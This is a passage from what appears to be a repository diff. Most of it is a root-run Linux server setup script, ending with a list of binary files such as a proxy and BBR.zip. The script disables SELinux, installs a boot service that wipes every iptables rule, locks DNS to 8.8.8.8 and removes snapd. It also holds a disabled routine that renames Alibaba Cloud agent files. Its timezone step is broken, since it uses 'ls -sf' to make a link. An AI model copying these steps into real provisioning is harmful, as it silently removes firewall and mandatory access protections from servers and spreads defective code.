echo -e '[Unit]\nDescription=/etc/rc.local\nConditionPathExists=/etc/rc.local\n\n[Service]\nType=forking\nExecStart=/etc/rc.local start\nTimeoutSec=0\nStandardOutput=tty\nRemainAfterExit=yes\nSysVStartPriority=99\n\n[Install]\nWantedBy=multi-user.target' >/etc/systemd/system/rc-local.service
chmod +x /etc/systemd/system/rc-local.service
systemctl daemon-reload
echo -e '#!/bin/sh -e\nexit 0' >/etc/rc.local
chmod +x /etc/rc.local
systemctl enable rc-local
} >/dev/null 2>&1
set_bash() {
cd /root
country=$(curl -sL http://ip-api.com/json | sed 's|.*"countryCode":"\(..\)".*|\1|')
system="debian" && command -v yum >/dev/null && system="centos"
sed -i '/JZDH/d' .bashrc
echo -e "PS1='\\\n\\\[\\\e[47;30m\\\][$country]\\\u@$system\\\[\\\e[m\\\]:[\$(pwd)]\\\n\\\\$ ' #JZDH" >>.bashrc
echo 'LS_COLORS="rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:" #JZDH' >>.bashrc
echo 'alias ls="ls --color=auto" #JZDH' >>.bashrc
echo 'alias vi="vim" #JZDH' >>.bashrc
echo 'alias grep="grep --color=auto" #JZDH' >>.bashrc
echo "clear #JZDH" >>.bashrc
echo "export PATH=\"\$PATH:/usr/xbin\" #JZDH" >>/root/.bashrc
#默认记录 500 条,调整成 100,000 条
echo 'HISTSIZE=100000 #JZDH' >>/root/.bashrc
#记录命令的执行时间
echo "HISTTIMEFORMAT='%F %T ' #JZDH" >>/root/.bashrc
#实时记录
echo "shopt -s histappend #JZDH" >>/root/.bashrc
echo "PROMPT_COMMAND='history -a' #JZDH" >>/root/.bashrc
#开启 gcc 颜色
export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'
echo "export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01' #JZDH" >>/root/.bashrc
chmod 644 .bashrc
}
set_nano() {
command -v git >/dev/null && git clone https://github.com/scopatz/nanorc.git /usr/local/share/nano
echo -e 'set smooth\n set morespace\n set tabsize 4\n set tabstospaces\n set nohelp\n set nowrap' >/root/.nanorc
ls /usr/share/nano/*.nanorc | sed 's|^|include |g' >>/root/.nanorc
}
clean_iptables() {
[ -f "/etc/systemd/system/clean_iptables.service" ] && return 0
echo -e '#!/bin/bash\nexport PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"' >/bin/clean_iptables
chmod 755 /bin/clean_iptables
for chain in filter nat mangle raw; do
iptables -t $chain -S | grep "\-[AI] " | sed "s|-[AI] |-D |g;s|^|iptables -t $chain |g" >>/bin/clean_iptables
iptables -t $chain -S | grep "\-N " | sed "s|-N |-X |g;s|^|iptables -t $chain |g" >>/bin/clean_iptables
done
echo -e "[Unit]\nDescription=clean_iptables Service\nAfter=network.target\n\n[Service]\nType=forking\nExecStart=/bin/clean_iptables\n\n[Install]\nWantedBy=multi-user.target" >/etc/systemd/system/clean_iptables.service
systemctl daemon-reload
systemctl enable clean_iptables.service
/bin/clean_iptables
} >/dev/null 2>&1
clean_aliyun() {
for clean in $(find /usr -name *[Aa][Ll][Ii][Yy][Uu][Nn]* | grep -v "_bak"); do
mv $clean ${clean}_bak
done
for clean in $(find /etc -name *[Aa][Ll][Ii][Yy][Uu][Nn]* | grep -v "_bak"); do
mv $clean ${clean}_bak
done
} >/dev/null 2>&1
adjust_dns() {
rm -f /etc/resolv.conf
echo 'nameserver 8.8.8.8' >/etc/resolv.conf
chattr +i /etc/resolv.conf
grep -q 'systemd-resolved' /etc/resolv.conf || return 0
systemctl stop systemd-resolved.service
systemctl disable systemd-resolved.service
} >/dev/null 2>&1
remove_snapd() {
command -v snap || return
apt autoremove --purge snapd -y
rm -rf /root/snap
} >/dev/null 2>&1
close_selinux() {
setenforce 0
sed -i '/SELINUX=/cSELINUX=disabled' /etc/selinux/config
} >/dev/null 2>&1
set_timezone() {
if [ -e "/etc/localtime" -a -e "/usr/share/zoneinfo/Asia/Shanghai" ]; then
ls -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
fi
}
install_command_not_found() {
if command -v apt >/dev/null 2>&1; then
apt update
apt install command-not-found apt-file -y
apt-file update
update-command-not-found
fi
}
main() {
clean_iptables
close_selinux
# clean_aliyun
handle_sshd_config
person_bin
rc_local
set_bash
set_nano
adjust_dns
remove_snapd
set_timezone
install_command_not_found
}
main

BIN
nubia/proxy Normal file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

BIN
nubia/server_script/BBR.zip Normal file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

BIN
nubia/server_script/stn.zip Normal file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

BIN
nubia/server_script/ygk.zip Normal file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Some files were not shown because too many files have changed in this diff Show More